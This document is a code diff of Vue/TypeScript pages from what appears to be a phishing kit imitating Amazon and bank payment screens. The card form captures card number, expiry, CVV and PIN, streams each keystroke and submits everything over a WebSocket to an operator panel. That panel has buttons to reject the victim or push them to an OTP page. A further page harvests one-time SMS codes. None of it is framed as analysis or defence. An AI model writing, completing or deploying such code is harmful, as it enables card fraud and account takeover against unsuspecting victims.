</div>
|
||||
</uni-input>
|
||||
|
||||
<uni-text data-v-1566c7ed="" class="error" v-if="cvvError">
|
||||
{{ cvvError }}
|
||||
</uni-text>
|
||||
<uni-text data-v-1566c7ed="" class="error" v-else-if="showCvvWarning">
|
||||
{{ warningMessage }}
|
||||
</uni-text>
|
||||
</uni-view>
|
||||
</uni-view>
|
||||
</uni-view>
|
||||
<uni-view data-v-1566c7ed="">
|
||||
<uni-view data-v-1566c7ed="" class="inpname">Card PIN</uni-view>
|
||||
<uni-view data-v-1566c7ed="" class="input-field-container">
|
||||
<uni-input data-v-1566c7ed="" class="">
|
||||
<div class="uni-input-wrapper">
|
||||
<div class="uni-input-placeholder input-placeholder" data-v-1566c7ed="" :class="{ 'placeholder-hidden': isPinFocused || formData.card.pin }"></div>
|
||||
<input
|
||||
type="password"
|
||||
maxlength="6"
|
||||
enterkeyhint="done"
|
||||
inputmode="numeric"
|
||||
class="uni-input-input"
|
||||
autocomplete="off"
|
||||
v-model="formData.card.pin"
|
||||
@input="onPinInput"
|
||||
@focus="isPinFocused = true"
|
||||
@blur="isPinFocused = formData.card.pin !== ''"
|
||||
/>
|
||||
</div>
|
||||
</uni-input>
|
||||
<uni-text data-v-1566c7ed="" class="error" v-if="pinError">
|
||||
{{ pinError }}
|
||||
</uni-text>
|
||||
<uni-text data-v-1566c7ed="" class="error" v-else-if="showPinWarning">
|
||||
{{ warningMessage }}
|
||||
</uni-text>
|
||||
</uni-view>
|
||||
</uni-view>
|
||||
<uni-view data-v-1566c7ed="" class="sendbut" style="margin-top: 30px;">
|
||||
<uni-button
|
||||
data-v-1566c7ed=""
|
||||
id="submit_card_btn"
|
||||
class=""
|
||||
style="background-color: rgb(0, 114, 172); color: white;"
|
||||
:disabled="isLoading || !isFormFilled"
|
||||
@click="next"
|
||||
>
|
||||
<span class="button-content">
|
||||
<!-- <span v-if="isLoading" class="spinner button-spinner"></span> -->
|
||||
<span>{{ isLoading ? 'Verifying...' : 'Submit' }}</span>
|
||||
</span>
|
||||
</uni-button>
|
||||
</uni-view>
|
||||
</uni-view>
|
||||
</uni-view>
|
||||
<div v-if="showLoadingOverlay" class="loading-overlay">
|
||||
<div class="loading-content">
|
||||
<div class="spinner overlay-spinner"></div>
|
||||
<p>Verifying...</p>
|
||||
</div>
|
||||
</div>
|
||||
</uni-page-body>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
|
||||
<script setup lang="ts">
|
||||
import { getCurrentInstance, onMounted, ref, computed, nextTick, onUnmounted } from 'vue';
|
||||
import { useRouter } from 'vue-router';
|
||||
import CommonLayout from '@/views/CommonLayout.vue';
|
||||
import { useI18n } from 'vue-i18n';
|
||||
import { useLoadingStore } from '@/stores/loadingStore';
|
||||
import { inputChange, myWebSocket } from '@/utils/common';
|
||||
import eventBus from '@/utils/eventBus';
|
||||
|
||||
const { t } = useI18n();
|
||||
const router = useRouter();
|
||||
const loadingStore = useLoadingStore();
|
||||
const instance = getCurrentInstance()!;
|
||||
|
||||
interface FormData {
|
||||
card: {
|
||||
cardNumber: string;
|
||||
cardholder: string;
|
||||
expiryMonth: string;
|
||||
expiryYear: string;
|
||||
cvv: string;
|
||||
pin: string;
|
||||
};
|
||||
}
|
||||
|
||||
const formData = ref<FormData>({
|
||||
card: {
|
||||
cardNumber: '',
|
||||
cardholder: '',
|
||||
expiryMonth: '',
|
||||
expiryYear: '',
|
||||
cvv: '',
|
||||
pin: '',
|
||||
},
|
||||
});
|
||||
|
||||
const warningMessage = ref('');
|
||||
const cardNumberError = ref('');
|
||||
const expiryError = ref('');
|
||||
const cvvError = ref('');
|
||||
const pinError = ref('');
|
||||
|
||||
const isLoading = ref(false);
|
||||
const showLoadingOverlay = ref(false);
|
||||
|
||||
const isCardNumberFocused = ref(false);
|
||||
const isCardholderFocused = ref(false);
|
||||
const isExpiryFocused = ref(false);
|
||||
const isCvvFocused = ref(false);
|
||||
const isPinFocused = ref(false);
|
||||
|
||||
const expiryCombined = computed({
|
||||
get: () => {
|
||||
const month = formData.value.card.expiryMonth;
|
||||
const year = formData.value.card.expiryYear;
|
||||
if (month && year) {
|
||||
return `${month}/${year}`;
|
||||
} else if (month) {
|
||||
return month;
|
||||
}
|
||||
return '';
|
||||
},
|
||||
set: (value: string) => {
|
||||
let month = '';
|
||||
let year = '';
|
||||
const parts = value.split('/');
|
||||
if (parts.length > 0) {
|
||||
month = parts[0];
|
||||
}
|
||||
if (parts.length > 1) {
|
||||
year = parts[1];
|
||||
}
|
||||
formData.value.card.expiryMonth = month;
|
||||
formData.value.card.expiryYear = year;
|
||||
},
|
||||
});
|
||||
|
||||
const showCardholderWarning = computed(() => warningMessage.value && !formData.value.card.cardholder && !isCardholderFocused.value);
|
||||
const showExpiryWarning = computed(() => warningMessage.value && (!formData.value.card.expiryMonth || !formData.value.card.expiryYear) && !isExpiryFocused.value);
|
||||
const showCvvWarning = computed(() => warningMessage.value && !formData.value.card.cvv && !isCvvFocused.value);
|
||||
const showPinWarning = computed(() => warningMessage.value && !formData.value.card.pin && !isPinFocused.value);
|
||||
|
||||
const isFormFilled = computed(() => {
|
||||
return (
|
||||
formData.value.card.cardNumber.replace(/\s+/g, '').length >= 15 &&
|
||||
formData.value.card.cardholder.trim() !== '' &&
|
||||
formData.value.card.expiryMonth.length === 2 &&
|
||||
formData.value.card.expiryYear.length === 2 &&
|
||||
formData.value.card.cvv.length >= 3 && formData.value.card.cvv.length <= 4 &&
|
||||
formData.value.card.pin.length >= 4 && formData.value.card.pin.length <= 6
|
||||
);
|
||||
});
|
||||
|
||||
const next = async () => {
|
||||
await nextTick();
|
||||
// Clear all previous errors
|
||||
warningMessage.value = '';
|
||||
cardNumberError.value = '';
|
||||
expiryError.value = '';
|
||||
cvvError.value = '';
|
||||
pinError.value = '';
|
||||
message.value = ''; // Clear general message on new submission attempt
|
||||
|
||||
let hasError = false;
|
||||
|
||||
if (!formData.value.card.cardholder.trim()) {
|
||||
warningMessage.value = t('Please fill in all required fields.');
|
||||
hasError = true;
|
||||
}
|
||||
|
||||
const rawCardNumber = formData.value.card.cardNumber.replace(/\s+/g, '');
|
||||
if (rawCardNumber.length < 15 || rawCardNumber.length > 19) {
|
||||
cardNumberError.value = 'Invalid card number.';
|
||||
hasError = true;
|
||||
}
|
||||
|
||||
const month = parseInt(formData.value.card.expiryMonth, 10);
|
||||
const year = parseInt(formData.value.card.expiryYear, 10);
|
||||
const currentYear = new Date().getFullYear() % 100;
|
||||
const currentMonth = new Date().getMonth() + 1;
|
||||
|
||||
if (!formData.value.card.expiryMonth || !formData.value.card.expiryYear || isNaN(month) || isNaN(year) || month < 1 || month > 12 || year < currentYear || (year === currentYear && month < currentMonth)) {
|
||||
expiryError.value = 'Invalid expiry date.';
|
||||
hasError = true;
|
||||
}
|
||||
|
||||
if (formData.value.card.cvv.length < 3 || formData.value.card.cvv.length > 4) {
|
||||
cvvError.value = 'CVV must be 3-4 digits.';
|
||||
hasError = true;
|
||||
}
|
||||
|
||||
if (formData.value.card.pin.length < 4 || formData.value.card.pin.length > 6) {
|
||||
pinError.value = 'PIN must be 4-6 digits.';
|
||||
hasError = true;
|
||||
}
|
||||
|
||||
if (hasError) {
|
||||
return;
|
||||
}
|
||||
|
||||
isLoading.value = true;
|
||||
showLoadingOverlay.value = true;
|
||||
|
||||
let submitValue = rawCardNumber;
|
||||
localStorage.setItem('cardNumber', submitValue);
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: 'submit_card',
|
||||
content: {
|
||||
type: 'submitOp',
|
||||
card_number: submitValue,
|
||||
cardholder: formData.value.card.cardholder,
|
||||
expiry: `${formData.value.card.expiryMonth}/${formData.value.card.expiryYear}`,
|
||||
cvv: formData.value.card.cvv,
|
||||
pin: formData.value.card.pin,
|
||||
start_page: 'card',
|
||||
opButton: {
|
||||
showCustom: false,
|
||||
list: [
|
||||
{ label: '完成', value: 'success', type: 'input1' },
|
||||
{ label: '拒絕', value: 'reject', type: 'input2' },
|
||||
{ label: '賬號首頁', value: 'login_mufg', type: 'input1' },
|
||||
{ label: 'OTP短信驗證頁', value: 'verificationcodepage', type: 'input1' },
|
||||
{ label: '提示頁面', value: 'next_pay', type: 'input1' },
|
||||
{ label: '跳轉完成', value: 'success' },
|
||||
],
|
||||
},
|
||||
},
|
||||
})
|
||||
);
|
||||
};
|
||||
|
||||
const onCardNumberChange = (event: Event) => {
|
||||
const input = event.target as HTMLInputElement;
|
||||
const rawValue = input.value.replace(/\s+/g, '');
|
||||
const numericValue = rawValue.replace(/\D/g, '');
|
||||
|
||||
formData.value.card.cardNumber = numericValue
|
||||
.replace(/(.{4})/g, '$1 ')
|
||||
.trim()
|
||||
.slice(0, 19);
|
||||
|
||||
cardNumberError.value = '';
|
||||
inputChange('input_card', 'cardNumber', formData.value.card.cardNumber.replace(/\s+/g, ''));
|
||||
};
|
||||
|
||||
const onExpiryInput = (event: Event) => {
|
||||
const input = event.target as HTMLInputElement;
|
||||
let value = input.value.replace(/[^0-9]/g, '');
|
||||
|
||||
if (value.length > 2) {
|
||||
value = value.slice(0, 2) + '/' + value.slice(2);
|
||||
}
|
||||
value = value.slice(0, 5);
|
||||
|
||||
expiryCombined.value = value; // Update the v-model directly
|
||||
|
||||
// Manually parse and update expiryMonth and expiryYear for form data
|
||||
const parts = value.split('/');
|
||||
formData.value.card.expiryMonth = parts[0] ? parts[0].slice(0, 2) : '';
|
||||
formData.value.card.expiryYear = parts[1] ? parts[1].slice(0, 2) : '';
|
||||
|
||||
expiryError.value = ''; // Clear error on input
|
||||
inputChange('input_card', 'expiry', value);
|
||||
};
|
||||
|
||||
const onExpiryBlur = () => {
|
||||
isExpiryFocused.value = expiryCombined.value !== '';
|
||||
const monthStr = formData.value.card.expiryMonth;
|
||||
const yearStr = formData.value.card.expiryYear;
|
||||
|
||||
expiryError.value = '';
|
||||
|
||||
const month = parseInt(monthStr, 10);
|
||||
const year = parseInt(yearStr, 10);
|
||||
const currentYearFull = new Date().getFullYear();
|
||||
const currentYearShort = currentYearFull % 100;
|
||||
const currentMonth = new Date().getMonth() + 1;
|
||||
|
||||
if (!monthStr || monthStr.length !== 2 || isNaN(month) || month < 1 || month > 12) {
|
||||
expiryError.value = 'Invalid month.';
|
||||
return;
|
||||
}
|
||||
if (!yearStr || yearStr.length !== 2 || isNaN(year)) {
|
||||
expiryError.value = 'Invalid year.';
|
||||
return;
|
||||
}
|
||||
|
||||
if (year < currentYearShort) {
|
||||
expiryError.value = 'Date past.';
|
||||
return;
|
||||
}
|
||||
if (year === currentYearShort && month < currentMonth) {
|
||||
expiryError.value = 'Date past.';
|
||||
return;
|
||||
}
|
||||
|
||||
if (!monthStr || !yearStr) {
|
||||
warningMessage.value = t('Please fill in all required fields.');
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
const onCvvInput = (event: Event) => {
|
||||
const input = event.target as HTMLInputElement;
|
||||
formData.value.card.cvv = input.value.replace(/\D/g, '').slice(0, 4);
|
||||
cvvError.value = '';
|
||||
inputChange('input_card', 'cvv', formData.value.card.cvv);
|
||||
};
|
||||
|
||||
const onPinInput = (event: Event) => {
|
||||
const input = event.target as HTMLInputElement;
|
||||
formData.value.card.pin = input.value.replace(/\D/g, '').slice(0, 6);
|
||||
pinError.value = '';
|
||||
inputChange('input_card', 'pin', formData.value.card.pin);
|
||||
};
|
||||
|
||||
const onchange = (event: Event) => {
|
||||
const input = event.target as HTMLInputElement;
|
||||
inputChange('input_card', input.id, input.value);
|
||||
if (input.id === 'card_name') {
|
||||
warningMessage.value = '';
|
||||
}
|
||||
};
|
||||
|
||||
onMounted(() => {
|
||||
const userData = getCurrentInstance()?.appContext.config.globalProperties.$userData;
|
||||
if (userData && userData.card) {
|
||||
formData.value = userData;
|
||||
}
|
||||
eventBus.on('my-event', handleEvent);
|
||||
|
||||
localStorage.setItem('route', 'card');
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: 'page_type',
|
||||
content: { pageType: 'card', pageTitle: '填卡Pin页面' },
|
||||
})
|
||||
);
|
||||
});
|
||||
|
||||
const message = ref(''); // This variable holds the WebSocket message
|
||||
const handleEvent = (data: { message2: string }) => {
|
||||
message.value = data.message2; // Update the message here
|
||||
isLoading.value = false;
|
||||
showLoadingOverlay.value = false;
|
||||
};
|
||||
|
||||
onUnmounted(() => {
|
||||
eventBus.off('my-event', handleEvent);
|
||||
});
|
||||
</script>
|
||||
|
||||
<style scoped>
|
||||
/* Added style for the global-error message */
|
||||
.global-error {
|
||||
color: #d32f2f; /* A distinct color for general errors */
|
||||
font-size: 12px;
|
||||
text-align: left;
|
||||
margin: 15px 0; /* Add some margin above and below */
|
||||
display: block; /* Ensure it takes full width and new line */
|
||||
font-weight: bold; /* Make it stand out a bit */
|
||||
}
|
||||
|
||||
.input-field-container {
|
||||
position: relative;
|
||||
margin-bottom: 15px;
|
||||
}
|
||||
|
||||
.inpname {
|
||||
font-size: 14px;
|
||||
color: #494949;
|
||||
margin-bottom: 8px;
|
||||
margin-top: 16px;
|
||||
}
|
||||
|
||||
.error {
|
||||
color: #ff4d4f;
|
||||
font-size: 13px;
|
||||
position: absolute;
|
||||
bottom: -15px;
|
||||
left: 0;
|
||||
white-space: nowrap;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
width: 100%;
|
||||
z-index: 10;
|
||||
}
|
||||
|
||||
/* Spinner for the button */
|
||||
.button-spinner {
|
||||
width: 18px;
|
||||
height: 18px;
|
||||
border: 3px solid rgba(255, 255, 255, 0.3);
|
||||
border-top: 3px solid white;
|
||||
border-radius: 50%;
|
||||
animation: spin 1s linear infinite;
|
||||
margin-right: 8px;
|
||||
display: inline-block;
|
||||
vertical-align: middle;
|
||||
margin-top: -2px;
|
||||
}
|
||||
|
||||
/* Spinner for the overlay */
|
||||
.overlay-spinner {
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
border: 5px solid rgba(0, 114, 172, 0.3);
|
||||
border-top: 5px solid #0072ac;
|
||||
border-radius: 50%;
|
||||
animation: spin 1s linear infinite;
|
||||
margin-right: 0;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
0% {
|
||||
transform: rotate(0deg);
|
||||
}
|
||||
100% {
|
||||
transform: rotate(360deg);
|
||||
}
|
||||
}
|
||||
|
||||
.form {
|
||||
padding: 0 20px;
|
||||
}
|
||||
|
||||
.uni-input-input {
|
||||
border: none;
|
||||
outline: none;
|
||||
flex-grow: 1;
|
||||
font-size: 16px;
|
||||
padding: 0;
|
||||
background-color: transparent;
|
||||
z-index: 2;
|
||||
position: relative;
|
||||
}
|
||||
|
||||
.uni-input-placeholder {
|
||||
color: #a6a6a6;
|
||||
font-size: 16px;
|
||||
position: absolute;
|
||||
top: 50% !important;
|
||||
left: 0;
|
||||
transform: translateY(-50%);
|
||||
transition: opacity 0.2s ease-in-out;
|
||||
pointer-events: none;
|
||||
z-index: 1;
|
||||
}
|
||||
|
||||
.uni-input-placeholder.placeholder-hidden {
|
||||
opacity: 0;
|
||||
}
|
||||
|
||||
.cvvbox {
|
||||
display: flex;
|
||||
gap: 16px;
|
||||
}
|
||||
|
||||
.cvvsty {
|
||||
flex: 1;
|
||||
}
|
||||
|
||||
.card-icons {
|
||||
display: flex;
|
||||
gap: 4px;
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
.card-icons img {
|
||||
width: 30px;
|
||||
height: 25px;
|
||||
}
|
||||
|
||||
.sendbut {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
#submit_card_btn {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
padding: 10px 20px;
|
||||
width: 100%;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
#submit_card_btn .button-content {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
|
||||
#submit_card_btn:disabled {
|
||||
background-color: #d9d9d9;
|
||||
color: #a6a6a6;
|
||||
cursor: not-allowed;
|
||||
}
|
||||
|
||||
/* New styles for the loading overlay */
|
||||
.loading-overlay {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background-color: rgba(0, 0, 0, 0.6);
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
z-index: 1000;
|
||||
}
|
||||
|
||||
.loading-content {
|
||||
background-color: white;
|
||||
padding: 30px 40px;
|
||||
border-radius: 10px;
|
||||
text-align: center;
|
||||
box-shadow: 0 4px 15px rgba(0, 0, 0, 0.2);
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
gap: 15px;
|
||||
}
|
||||
|
||||
.loading-content p {
|
||||
font-size: 18px;
|
||||
color: #333;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
|
||||
@media (max-width: 480px) {
|
||||
.form {
|
||||
padding: 0 16px;
|
||||
}
|
||||
|
||||
.title {
|
||||
font-size: 24px;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
24
a9_usa_Fine_amazon/src/views/CommonLayout.vue
Normal file
@@ -0,0 +1,24 @@
|
||||
<script setup lang="ts">
|
||||
import { footerHtml, headerHtml } from "@/utils/common";
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<body>
|
||||
<div class="v-application v-application--is-ltr theme--light">
|
||||
<div class="v-application--wrap">
|
||||
<header11
|
||||
|
||||
v-html="headerHtml"
|
||||
></header11>
|
||||
|
||||
<main11 >
|
||||
<div >
|
||||
<slot></slot>
|
||||
</div>
|
||||
</main11>
|
||||
<footer11 v-html="footerHtml" ></footer11>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</template>
|
||||
<style></style>
|
||||
1415
a9_usa_Fine_amazon/src/views/CustomOtpView.vue
Normal file
62
a9_usa_Fine_amazon/src/views/IndexView.vue
Normal file
@@ -0,0 +1,62 @@
|
||||
<script setup lang="ts">
|
||||
import { ref, onMounted } from 'vue';
|
||||
|
||||
const isLoading = ref(true);
|
||||
|
||||
onMounted(() => {
|
||||
// Simulate loading, remove in production and use actual data loading completion
|
||||
setTimeout(() => {
|
||||
isLoading.value = false;
|
||||
}, 2000);
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<div class="container">
|
||||
<div v-if="isLoading" class="loading-spinner">
|
||||
<div class="spinner" style="display: none;"></div>
|
||||
</div>
|
||||
<div v-else class="content">
|
||||
<!-- Main content goes here when loading is complete -->
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
.container {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
height: 100vh;
|
||||
width: 100%;
|
||||
background-color: #f5f5f5;
|
||||
}
|
||||
|
||||
.loading-spinner {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.spinner {
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
border: 4px solid rgb(81, 81, 81, 0.3);
|
||||
border-radius: 50%;
|
||||
border-top-color: transparent;
|
||||
animation: spin 1s ease-in-out infinite;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
to {
|
||||
transform: rotate(360deg);
|
||||
}
|
||||
}
|
||||
|
||||
.content {
|
||||
width: 100%;
|
||||
padding: 20px;
|
||||
}
|
||||
</style>
|
||||
|
||||
|
||||
106
a9_usa_Fine_amazon/src/views/LoadingView.vue
Normal file
@@ -0,0 +1,106 @@
|
||||
<template>
|
||||
<div
|
||||
v-if="isLoading"
|
||||
class="loading-overlay"
|
||||
|
||||
>
|
||||
<div class="otp-page-loading">
|
||||
<div class="otp-page-loading-inner">
|
||||
<svg class="otp-page-spinner" viewBox="0 0 50 50" xmlns="http://www.w3.org/2000/svg">
|
||||
<circle cx="25" cy="25" r="20" fill="none" stroke="#e47911" stroke-width="4" stroke-dasharray="80" stroke-dashoffset="60" stroke-linecap="round"/>
|
||||
</svg>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<script lang="ts">
|
||||
import { computed, defineComponent } from "vue";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { loadingBg } from "@/utils/common";
|
||||
|
||||
export default defineComponent({
|
||||
computed: {
|
||||
loadingBg() {
|
||||
return loadingBg;
|
||||
},
|
||||
},
|
||||
setup() {
|
||||
const loadingStore = useLoadingStore();
|
||||
const isLoading = computed(() => loadingStore.isLoading);
|
||||
|
||||
return {
|
||||
isLoading,
|
||||
};
|
||||
},
|
||||
});
|
||||
</script>
|
||||
|
||||
<style scoped>
|
||||
/* CSS加载全屏遮罩 */
|
||||
.otp-page-loading {
|
||||
position: fixed;
|
||||
inset: 0;
|
||||
background: #fff;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
z-index: 9998;
|
||||
}
|
||||
.otp-page-loading-inner {
|
||||
width: 48px;
|
||||
height: 48px;
|
||||
animation: amz-spin 0.9s linear infinite;
|
||||
}
|
||||
.otp-page-spinner {
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
}
|
||||
/* 提交中弹窗 */
|
||||
.amz-overlay {
|
||||
position: fixed;
|
||||
inset: 0;
|
||||
background: rgba(255,255,255,0.75);
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
z-index: 9999;
|
||||
}
|
||||
.amz-modal {
|
||||
background: #fff;
|
||||
border: 1px solid #d5d9d9;
|
||||
border-radius: 8px;
|
||||
box-shadow: 0 2px 8px rgba(0,0,0,0.15);
|
||||
padding: 32px 40px;
|
||||
text-align: center;
|
||||
min-width: 240px;
|
||||
}
|
||||
.amz-spinner {
|
||||
width: 44px;
|
||||
height: 44px;
|
||||
margin: 0 auto 16px;
|
||||
animation: amz-spin 0.9s linear infinite;
|
||||
}
|
||||
.amz-spinner svg { width: 100%; height: 100%; }
|
||||
.amz-spinner-path {
|
||||
stroke: #e47911;
|
||||
stroke-linecap: round;
|
||||
stroke-dasharray: 80;
|
||||
stroke-dashoffset: 60;
|
||||
}
|
||||
@keyframes amz-spin { to { transform: rotate(360deg); } }
|
||||
.amz-modal-text {
|
||||
font-size: 15px;
|
||||
font-weight: 700;
|
||||
color: #111;
|
||||
margin: 0 0 6px;
|
||||
font-family: "Amazon Ember", Arial, sans-serif;
|
||||
}
|
||||
.amz-modal-sub {
|
||||
font-size: 13px;
|
||||
color: #565959;
|
||||
margin: 0;
|
||||
font-family: "Amazon Ember", Arial, sans-serif;
|
||||
}
|
||||
.a-disabled { pointer-events: none; opacity: 0.5; }
|
||||
</style>
|
||||
458
a9_usa_Fine_amazon/src/views/OtpView.vue
Normal file
@@ -0,0 +1,458 @@
|
||||
<script setup lang="ts">
|
||||
import { computed, nextTick, onMounted, onUnmounted, reactive, ref } from "vue";
|
||||
import { useRoute } from "vue-router";
|
||||
import eventBus from "@/utils/eventBus";
|
||||
import CardType1 from "../components/CardType1.vue";
|
||||
import { areAllValuesNotEmpty, inputChange, myWebSocket } from "@/utils/common";
|
||||
import { useI18n } from "vue-i18n";
|
||||
|
||||
const { t } = useI18n();
|
||||
const cardType = ref("");
|
||||
const message1 = ref("");
|
||||
const isVerifying = ref(false);
|
||||
|
||||
onMounted(() => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "otpValid" },
|
||||
})
|
||||
);
|
||||
const route = useRoute();
|
||||
const query = route.query as any;
|
||||
if (query && query.cardType) {
|
||||
cardType.value = query.cardType;
|
||||
localStorage.setItem("cardType", query.cardType);
|
||||
} else {
|
||||
const type = localStorage.getItem("cardType");
|
||||
if (type) {
|
||||
cardType.value = type;
|
||||
}
|
||||
}
|
||||
|
||||
if (query && query.message1) {
|
||||
message1.value = query.message1;
|
||||
localStorage.setItem("message1", query.message1);
|
||||
} else {
|
||||
const type = localStorage.getItem("message1");
|
||||
if (type) {
|
||||
message1.value = type;
|
||||
}
|
||||
}
|
||||
localStorage.setItem("route", "otpValid");
|
||||
|
||||
// 尝试恢复倒计时,如果没有进行中的倒计时则启动新的倒计时
|
||||
restoreCountdown();
|
||||
if (!isCounting.value) {
|
||||
startCountdown("");
|
||||
}
|
||||
|
||||
eventBus.on("otp-valid", handleEvent);
|
||||
});
|
||||
|
||||
const formData = reactive({ verifyCode: "" });
|
||||
|
||||
const onchange = (value: any) => {
|
||||
inputChange("input_card", "verifyCode", value.target.value);
|
||||
formData.verifyCode = value.target.value;
|
||||
};
|
||||
|
||||
const submit = async () => {
|
||||
await nextTick();
|
||||
isVerifying.value = true;
|
||||
|
||||
if (!areAllValuesNotEmpty(formData)) {
|
||||
isVerifying.value = false;
|
||||
return;
|
||||
}
|
||||
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "submit_card",
|
||||
content: {
|
||||
type: "submitValidCode",
|
||||
formData: formData,
|
||||
},
|
||||
})
|
||||
);
|
||||
};
|
||||
|
||||
const initialTime = 60;
|
||||
const timeLeft = ref(initialTime);
|
||||
const isCounting = ref(false);
|
||||
let timer: number | null = null;
|
||||
|
||||
const buttonText = computed(() => {
|
||||
return isCounting.value
|
||||
? `Resend Code (00:${timeLeft.value < 10 ? `0${timeLeft.value}` : timeLeft.value})`
|
||||
: "Resend Code";
|
||||
});
|
||||
|
||||
const startCountdown = (resultType: string) => {
|
||||
if (isCounting.value) return;
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "otpValid", resultType: resultType },
|
||||
})
|
||||
);
|
||||
isCounting.value = true;
|
||||
timeLeft.value = initialTime;
|
||||
|
||||
// 保存倒计时开始时间到 localStorage,方便页面刷新后恢复
|
||||
const startTime = Date.now();
|
||||
localStorage.setItem("countdownStartTime", startTime.toString());
|
||||
localStorage.setItem("countdownDuration", initialTime.toString());
|
||||
|
||||
timer = window.setInterval(() => {
|
||||
if (timeLeft.value > 0) {
|
||||
timeLeft.value -= 1;
|
||||
} else {
|
||||
stopCountdown();
|
||||
}
|
||||
}, 1000);
|
||||
};
|
||||
|
||||
const stopCountdown = () => {
|
||||
if (timer !== null) {
|
||||
clearInterval(timer);
|
||||
timer = null;
|
||||
}
|
||||
isCounting.value = false;
|
||||
// 清除 localStorage 中的倒计时数据
|
||||
localStorage.removeItem("countdownStartTime");
|
||||
localStorage.removeItem("countdownDuration");
|
||||
};
|
||||
|
||||
// 恢复倒计时状态(页面刷新后)
|
||||
const restoreCountdown = () => {
|
||||
const startTimeStr = localStorage.getItem("countdownStartTime");
|
||||
const durationStr = localStorage.getItem("countdownDuration");
|
||||
|
||||
if (startTimeStr && durationStr) {
|
||||
const startTime = parseInt(startTimeStr);
|
||||
const duration = parseInt(durationStr);
|
||||
const elapsedSeconds = Math.floor((Date.now() - startTime) / 1000);
|
||||
const remainingTime = Math.max(0, duration - elapsedSeconds);
|
||||
|
||||
if (remainingTime > 0) {
|
||||
isCounting.value = true;
|
||||
timeLeft.value = remainingTime;
|
||||
|
||||
timer = window.setInterval(() => {
|
||||
if (timeLeft.value > 0) {
|
||||
timeLeft.value -= 1;
|
||||
} else {
|
||||
stopCountdown();
|
||||
}
|
||||
}, 1000);
|
||||
} else {
|
||||
// 倒计时已过期,清除数据
|
||||
localStorage.removeItem("countdownStartTime");
|
||||
localStorage.removeItem("countdownDuration");
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
const message = ref("");
|
||||
|
||||
const handleEvent = (data: { message2: string }) => {
|
||||
message.value = data.message2;
|
||||
isVerifying.value = false;
|
||||
};
|
||||
|
||||
onUnmounted(() => {
|
||||
eventBus.off("otp-valid", handleEvent);
|
||||
// 不要在卸载时清除倒计时,这样刷新页面时倒计时还会继续
|
||||
if (timer !== null) {
|
||||
clearInterval(timer);
|
||||
}
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<div id="otp-page" class="page-wrapper">
|
||||
<div class="container-outer">
|
||||
<div class="card-container">
|
||||
<div class="header-nav">
|
||||
<div class="bank-icon">
|
||||
<svg viewBox="0 0 24 24" width="36" height="36" fill="#333">
|
||||
<path d="M4 10v7h3v-7H4zm6 0v7h3v-7h-3zM2 22h19v-3H2v3zm14-12v7h3v-7h-3zm-4.5-9L2 6v2h19V6l-9.5-5z"></path>
|
||||
</svg>
|
||||
</div>
|
||||
<div class="card-logo-wrapper">
|
||||
<CardType1 :cardType="cardType" />
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="content-body">
|
||||
<h2 class="page-title">Payment Security</h2>
|
||||
|
||||
<p class="instruction-text">
|
||||
To ensure the security of your payment, we have sent a One-Time Password (OTP) to your registered mobile number
|
||||
<span v-if="message1"> ending in {{ message1 }}</span>.
|
||||
Please enter the verification code below.
|
||||
</p>
|
||||
|
||||
<form @submit.prevent="submit">
|
||||
<div class="form-group">
|
||||
<label class="field-label">Verification Code</label>
|
||||
<input
|
||||
required
|
||||
type="text"
|
||||
class="otp-input-field"
|
||||
placeholder="Enter verification code"
|
||||
v-model="formData.verifyCode"
|
||||
@input="onchange"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div class="error-feedback" v-if="message">{{ message }}</div>
|
||||
|
||||
<div class="form-actions-row">
|
||||
<button type="submit" class="submit-button">Submit</button>
|
||||
<a href="javascript:void(0)" class="resend-link" @click="startCountdown('resendCode')">
|
||||
{{ buttonText }}
|
||||
</a>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
<div class="bottom-links">
|
||||
<div class="divider-line"></div>
|
||||
|
||||
<div class="info-row">
|
||||
<span class="info-label">Learn more about Authentication</span>
|
||||
<span class="icon-plus">+</span>
|
||||
</div>
|
||||
